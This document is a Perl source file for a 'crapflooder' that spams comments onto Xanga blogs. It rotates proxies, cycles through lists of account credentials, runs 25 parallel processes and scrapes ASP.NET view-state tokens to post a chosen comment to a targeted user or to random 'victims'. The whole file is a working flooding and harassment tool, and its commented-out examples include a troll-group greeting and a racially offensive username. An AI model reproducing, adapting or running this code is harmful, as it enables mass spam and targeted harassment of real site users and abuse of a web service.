| 1 | #!/usr/bin/perl -w |
|---|
| 2 | # vim: cindent ai sw=4 |
|---|
| 3 | # xanga crapflooder by timecop |
|---|
| 4 | # thread code stolen from floodphpbb by popeye. lol |
|---|
| 5 | # |
|---|
| 6 | # usage: |
|---|
| 7 | # ./xanga.pl <accounts> <proxies> <comment> [<userid>] |
|---|
| 8 | # accounts is a file in the format of "username password" |
|---|
| 9 | # proxies is a file in the format of "proxy:port" |
|---|
| 10 | # comment is text file of the comment to post |
|---|
| 11 | # optional userid is to direct a flood to a specific userid |
|---|
| 12 | |
|---|
| 13 | use strict; |
|---|
| 14 | use Socket; |
|---|
| 15 | use IO::Handle; |
|---|
| 16 | use HTTP::Request::Common; |
|---|
| 17 | use HTTP::Cookies; |
|---|
| 18 | use LWP::UserAgent; |
|---|
| 19 | |
|---|
| 20 | my %accounts = (); |
|---|
| 21 | my %proxies = (); |
|---|
| 22 | my $comm = ""; |
|---|
| 23 | my $uid; |
|---|
| 24 | my $MAXFORK = 25; |
|---|
| 25 | my $MAXFAIL = 100; |
|---|
| 26 | |
|---|
| 27 | # usage |
|---|
| 28 | if ($#ARGV < 2) |
|---|
| 29 | { |
|---|
| 30 | print STDERR "usage: $0 <accounts> <proxies> <comment> [<userid>]\n"; |
|---|
| 31 | exit 1; |
|---|
| 32 | } |
|---|
| 33 | |
|---|
| 34 | # prepare for everything |
|---|
| 35 | if (my $fp = shift @ARGV) |
|---|
| 36 | { |
|---|
| 37 | print STDERR "Loading accounts from $fp\n"; |
|---|
| 38 | open LOL, $fp or die "$!"; |
|---|
| 39 | my $i = 0; |
|---|
| 40 | while (<LOL>) |
|---|
| 41 | { |
|---|
| 42 | $i++; |
|---|
| 43 | chomp; |
|---|
| 44 | /^(.+) (.+)$/; |
|---|
| 45 | $accounts{$1} = $2; |
|---|
| 46 | } |
|---|
| 47 | close LOL; |
|---|
| 48 | print STDERR "Got $i accounts\n"; |
|---|
| 49 | } |
|---|
| 50 | |
|---|
| 51 | if (my $fp = shift @ARGV) |
|---|
| 52 | { |
|---|
| 53 | print STDERR "Loading proxies from $fp\n"; |
|---|
| 54 | open LOL, $fp or die "$!"; |
|---|
| 55 | my $i = 0; |
|---|
| 56 | while (<LOL>) |
|---|
| 57 | { |
|---|
| 58 | $i++; |
|---|
| 59 | chomp; |
|---|
| 60 | $proxies{$_} = $MAXFAIL; |
|---|
| 61 | } |
|---|
| 62 | close LOL; |
|---|
| 63 | print STDERR "Got $i proxies\n"; |
|---|
| 64 | } |
|---|
| 65 | |
|---|
| 66 | if (my $fp = shift @ARGV) |
|---|
| 67 | { |
|---|
| 68 | open LOL, $fp or die "Cannot read comment file: $!"; |
|---|
| 69 | while (<LOL>) |
|---|
| 70 | { |
|---|
| 71 | $comm .= $_; |
|---|
| 72 | } |
|---|
| 73 | close LOL; |
|---|
| 74 | } |
|---|
| 75 | |
|---|
| 76 | $uid = shift @ARGV; |
|---|
| 77 | |
|---|
| 78 | socketpair(CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) |
|---|
| 79 | or die "socketpair: $!"; |
|---|
| 80 | CHENEY->autoflush(1); |
|---|
| 81 | BUSH->autoflush(1); |
|---|
| 82 | |
|---|
| 83 | if (my $jpid = fork) |
|---|
| 84 | { |
|---|
| 85 | close BUSH; |
|---|
| 86 | } |
|---|
| 87 | else |
|---|
| 88 | { |
|---|
| 89 | die "$!" unless defined $jpid; |
|---|
| 90 | close CHENEY; |
|---|
| 91 | |
|---|
| 92 | $SIG{INT} = \&exit_nicely; |
|---|
| 93 | |
|---|
| 94 | my $command; |
|---|
| 95 | while (1) |
|---|
| 96 | { |
|---|
| 97 | chomp($command = <BUSH>); |
|---|
| 98 | |
|---|
| 99 | if ($command =~ /getproxy/) |
|---|
| 100 | { |
|---|
| 101 | if (keys %proxies > 0) |
|---|
| 102 | { |
|---|
| 103 | print BUSH (keys %proxies)[int rand keys %proxies] . "\n"; |
|---|
| 104 | } |
|---|
| 105 | else |
|---|
| 106 | { |
|---|
| 107 | print BUSH 'none\n'; |
|---|
| 108 | } |
|---|
| 109 | } |
|---|
| 110 | elsif ($command =~ /fail (\S+)/) { } |
|---|
| 111 | else |
|---|
| 112 | { |
|---|
| 113 | die "Bad command: $command\n"; |
|---|
| 114 | } |
|---|
| 115 | } |
|---|
| 116 | } |
|---|
| 117 | |
|---|
| 118 | for (my $i = 0 ; $i < $MAXFORK ; $i++) |
|---|
| 119 | { |
|---|
| 120 | FORK: |
|---|
| 121 | { |
|---|
| 122 | if (my $pid = fork) |
|---|
| 123 | { |
|---|
| 124 | |
|---|
| 125 | # |
|---|
| 126 | } |
|---|
| 127 | elsif (defined $pid) |
|---|
| 128 | { |
|---|
| 129 | while (1) |
|---|
| 130 | { |
|---|
| 131 | print CHENEY "getproxy\n"; |
|---|
| 132 | chomp(my $proxy = <CHENEY>); |
|---|
| 133 | |
|---|
| 134 | my $rv = 0; |
|---|
| 135 | if (defined $uid) |
|---|
| 136 | { |
|---|
| 137 | $rv = FloodXanga($proxy, $comm, $uid); |
|---|
| 138 | } |
|---|
| 139 | else |
|---|
| 140 | { |
|---|
| 141 | $rv = FloodXanga($proxy, $comm); |
|---|
| 142 | } |
|---|
| 143 | |
|---|
| 144 | if ($rv) |
|---|
| 145 | { |
|---|
| 146 | print STDERR "child $i posted with success\n"; |
|---|
| 147 | } |
|---|
| 148 | else |
|---|
| 149 | { |
|---|
| 150 | print STDERR "child $i failed to post with $proxy\n"; |
|---|
| 151 | print CHENEY "fail $proxy\n"; |
|---|
| 152 | |
|---|
| 153 | } |
|---|
| 154 | } |
|---|
| 155 | } |
|---|
| 156 | elsif ($! =~ /No more process/) |
|---|
| 157 | { |
|---|
| 158 | redo FORK; |
|---|
| 159 | } |
|---|
| 160 | else |
|---|
| 161 | { |
|---|
| 162 | print STDERR "hit process limit\n"; |
|---|
| 163 | goto ENDFORK; |
|---|
| 164 | } |
|---|
| 165 | } |
|---|
| 166 | } |
|---|
| 167 | |
|---|
| 168 | while (1) { sleep 1; } |
|---|
| 169 | |
|---|
| 170 | # FloodXanga("none", "GNAA says hi"); |
|---|
| 171 | # FloodXanga("none", "Lol. Gary you are amazing", "Gary_Niger"); |
|---|
| 172 | |
|---|
| 173 | # no user-modifyable parts below |
|---|
| 174 | |
|---|
| 175 | # FloodXanga($proxy, $comment, [uid]) |
|---|
| 176 | sub FloodXanga |
|---|
| 177 | { |
|---|
| 178 | my $proxy = shift; |
|---|
| 179 | my $comment = shift; |
|---|
| 180 | my $uid = shift; |
|---|
| 181 | |
|---|
| 182 | my $ua = InitHTTP($proxy); |
|---|
| 183 | my ($username, $password) = GetAccount(); |
|---|
| 184 | |
|---|
| 185 | if (!SignIntoXanga($ua, $username, $password)) |
|---|
| 186 | { |
|---|
| 187 | return; |
|---|
| 188 | } |
|---|
| 189 | |
|---|
| 190 | if (defined $uid && $uid ne "") |
|---|
| 191 | { |
|---|
| 192 | PostComment($ua, $uid, $comment); |
|---|
| 193 | } |
|---|
| 194 | else |
|---|
| 195 | { |
|---|
| 196 | GiveRandomEProp($ua, $comment); |
|---|
| 197 | } |
|---|
| 198 | } |
|---|
| 199 | |
|---|
| 200 | # InitHTTP([proxy]) |
|---|
| 201 | sub InitHTTP |
|---|
| 202 | { |
|---|
| 203 | my $proxy = shift; |
|---|
| 204 | |
|---|
| 205 | my $ua = LWP::UserAgent->new; |
|---|
| 206 | $ua->timeout(5); |
|---|
| 207 | $ua->cookie_jar(HTTP::Cookies->new); |
|---|
| 208 | $ua->agent( |
|---|
| 209 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0" |
|---|
| 210 | ); |
|---|
| 211 | |
|---|
| 212 | if (!($proxy =~ /none/)) |
|---|
| 213 | { |
|---|
| 214 | $ua->proxy('http', "http://$proxy"); |
|---|
| 215 | } |
|---|
| 216 | push @{$ua->requests_redirectable}, 'POST'; |
|---|
| 217 | |
|---|
| 218 | return $ua; |
|---|
| 219 | } |
|---|
| 220 | |
|---|
| 221 | # GetAccount() |
|---|
| 222 | sub GetAccount |
|---|
| 223 | { |
|---|
| 224 | if (keys %accounts > 0) |
|---|
| 225 | { |
|---|
| 226 | my $nick = (keys %accounts)[int rand keys %accounts]; |
|---|
| 227 | return ($nick, $accounts{$nick}); |
|---|
| 228 | } |
|---|
| 229 | else |
|---|
| 230 | { |
|---|
| 231 | die "No accounts, wtf\n"; |
|---|
| 232 | } |
|---|
| 233 | } |
|---|
| 234 | |
|---|
| 235 | # GetViewState(useragent, url) |
|---|
| 236 | sub GetViewState |
|---|
| 237 | { |
|---|
| 238 | my $ua = shift; |
|---|
| 239 | my $url = shift; |
|---|
| 240 | |
|---|
| 241 | my $response = $ua->request(GET $url); |
|---|
| 242 | my $vs = ""; |
|---|
| 243 | |
|---|
| 244 | foreach my $l (split /\n/, $response->content) |
|---|
| 245 | { |
|---|
| 246 | if ($l =~ /name=\"__VIEWSTATE\" value=\"([^\"]+)\"/i) |
|---|
| 247 | { |
|---|
| 248 | $vs = $1; |
|---|
| 249 | } |
|---|
| 250 | } |
|---|
| 251 | return $vs; |
|---|
| 252 | } |
|---|
| 253 | |
|---|
| 254 | # SignIntoXanga(useragent, username, password) |
|---|
| 255 | sub SignIntoXanga |
|---|
| 256 | { |
|---|
| 257 | my $ua = shift; |
|---|
| 258 | my $username = shift; |
|---|
| 259 | my $password = shift; |
|---|
| 260 | my $url = 'http://www.xanga.com/signin.aspx'; |
|---|
| 261 | |
|---|
| 262 | my $vs = GetViewState($ua, $url); |
|---|
| 263 | if ($vs eq "") |
|---|
| 264 | { |
|---|
| 265 | print STDERR "SignIntoXanga: Unable to get ViewState\n"; |
|---|
| 266 | return 0; |
|---|
| 267 | } |
|---|
| 268 | |
|---|
| 269 | my $req = POST $url, |
|---|
| 270 | [ |
|---|
| 271 | txtSigninUsername => $username, |
|---|
| 272 | txtSigninPassword => $password, |
|---|
| 273 | btnSignin => 'Sign In', |
|---|
| 274 | __VIEWSTATE => $vs |
|---|
| 275 | ]; |
|---|
| 276 | |
|---|
| 277 | $req->referer($url); |
|---|
| 278 | my $response = $ua->request($req); |
|---|
| 279 | |
|---|
| 280 | foreach my $l (split /\n/, $response->content) |
|---|
| 281 | { |
|---|
| 282 | if ($l =~ /Incorrect login/i) |
|---|
| 283 | { |
|---|
| 284 | return 0; |
|---|
| 285 | } |
|---|
| 286 | } |
|---|
| 287 | |
|---|
| 288 | print STDERR "$username logged in\n"; |
|---|
| 289 | return 1; |
|---|
| 290 | } |
|---|
| 291 | |
|---|
| 292 | # GetFirstCommentLink(content) |
|---|
| 293 | sub GetFirstCommentLink |
|---|
| 294 | { |
|---|
| 295 | my $content = shift; |
|---|
| 296 | |
|---|
| 297 | # http://www.xanga.com/item.aspx?user=karesty_malangen&tab=weblogs&uid=128020837 |
|---|
| 298 | foreach my $l (split /\n/, $content) |
|---|
| 299 | { |
|---|
| 300 | if ($l =~ |
|---|
| 301 | /\/item\.aspx\?user=([\w]+)&tab=weblogs&uid=([\d]+)/i |
|---|
| 302 | ) |
|---|
| 303 | { |
|---|
| 304 | my $rv = |
|---|
| 305 | "http://www.xanga.com/item.aspx?user=$1&tab=weblogs&uid=$2"; |
|---|
| 306 | print STDERR "First comment: $rv\n"; |
|---|
| 307 | return $rv; |
|---|
| 308 | } |
|---|
| 309 | } |
|---|
| 310 | |
|---|
| 311 | return ""; |
|---|
| 312 | } |
|---|
| 313 | |
|---|
| 314 | # PostComment(useragent, uid, comment) |
|---|
| 315 | sub PostComment |
|---|
| 316 | { |
|---|
| 317 | my $ua = shift; |
|---|
| 318 | my $uid = shift; |
|---|
| 319 | my $comment = shift; |
|---|
| 320 | |
|---|
| 321 | my $url = 'http://www.xanga.com/home.aspx?user=' . $uid; |
|---|
| 322 | |
|---|
| 323 | my $response = $ua->request(GET $url); |
|---|
| 324 | |
|---|
| 325 | # get url to top comment |
|---|
| 326 | $url = GetFirstCommentLink($response->content); |
|---|
| 327 | if ($url eq "") |
|---|
| 328 | { |
|---|
| 329 | return 0; |
|---|
| 330 | } |
|---|
| 331 | |
|---|
| 332 | # post some crap on it |
|---|
| 333 | my $vs = GetViewState($ua, $url); |
|---|
| 334 | if ($vs eq "") |
|---|
| 335 | { |
|---|
| 336 | print STDERR "PostComment: Unable to get ViewState\n"; |
|---|
| 337 | return 0; |
|---|
| 338 | } |
|---|
| 339 | |
|---|
| 340 | my $req = POST $url, |
|---|
| 341 | [ |
|---|
| 342 | rblEprops => '2', |
|---|
| 343 | formtype => 'submithtmldescr', |
|---|
| 344 | bdescr => $comment, |
|---|
| 345 | __VIEWSTATE => $vs |
|---|
| 346 | ]; |
|---|
| 347 | |
|---|
| 348 | $req->referer($url); |
|---|
| 349 | $response = $ua->request($req); |
|---|
| 350 | |
|---|
| 351 | print STDERR "Comment posted to $uid\'s page\n"; |
|---|
| 352 | |
|---|
| 353 | return 1; |
|---|
| 354 | } |
|---|
| 355 | |
|---|
| 356 | # GiveRandomEProp(useragent, comment) |
|---|
| 357 | sub GiveRandomEProp |
|---|
| 358 | { |
|---|
| 359 | my $ua = shift; |
|---|
| 360 | my $comment = shift; |
|---|
| 361 | my $url = 'http://main.xanga.com/Random.aspx'; |
|---|
| 362 | |
|---|
| 363 | my $response = $ua->request(GET $url); |
|---|
| 364 | my $random = ""; |
|---|
| 365 | if ($response->base =~ /user=([\w]+)/i) |
|---|
| 366 | { |
|---|
| 367 | $random = $1; |
|---|
| 368 | print STDERR "Picked random victim: $random\n"; |
|---|
| 369 | } |
|---|
| 370 | |
|---|
| 371 | if ($random eq "") |
|---|
| 372 | { |
|---|
| 373 | return 0; |
|---|
| 374 | } |
|---|
| 375 | |
|---|
| 376 | # get url to top comment |
|---|
| 377 | $url = GetFirstCommentLink($response->content); |
|---|
| 378 | if ($url eq "") |
|---|
| 379 | { |
|---|
| 380 | return 0; |
|---|
| 381 | } |
|---|
| 382 | |
|---|
| 383 | # post some crap on it |
|---|
| 384 | my $vs = GetViewState($ua, $url); |
|---|
| 385 | if ($vs eq "") |
|---|
| 386 | { |
|---|
| 387 | print STDERR "GiveRandomEProp: Unable to get ViewState\n"; |
|---|
| 388 | return 0; |
|---|
| 389 | } |
|---|
| 390 | |
|---|
| 391 | my $req = POST $url, |
|---|
| 392 | [ |
|---|
| 393 | rblEprops => '2', |
|---|
| 394 | formtype => 'submithtmldescr', |
|---|
| 395 | bdescr => $comment, |
|---|
| 396 | __VIEWSTATE => $vs |
|---|
| 397 | ]; |
|---|
| 398 | |
|---|
| 399 | $req->referer($url); |
|---|
| 400 | $response = $ua->request($req); |
|---|
| 401 | |
|---|
| 402 | print STDERR "Comment posted to $random\'s page\n"; |
|---|
| 403 | |
|---|
| 404 | return 1; |
|---|
| 405 | } |
|---|
| 406 | |
|---|
| 407 | sub exit_nicely |
|---|
| 408 | { |
|---|
| 409 | die "Exiting xanga\n"; |
|---|
| 410 | } |
|---|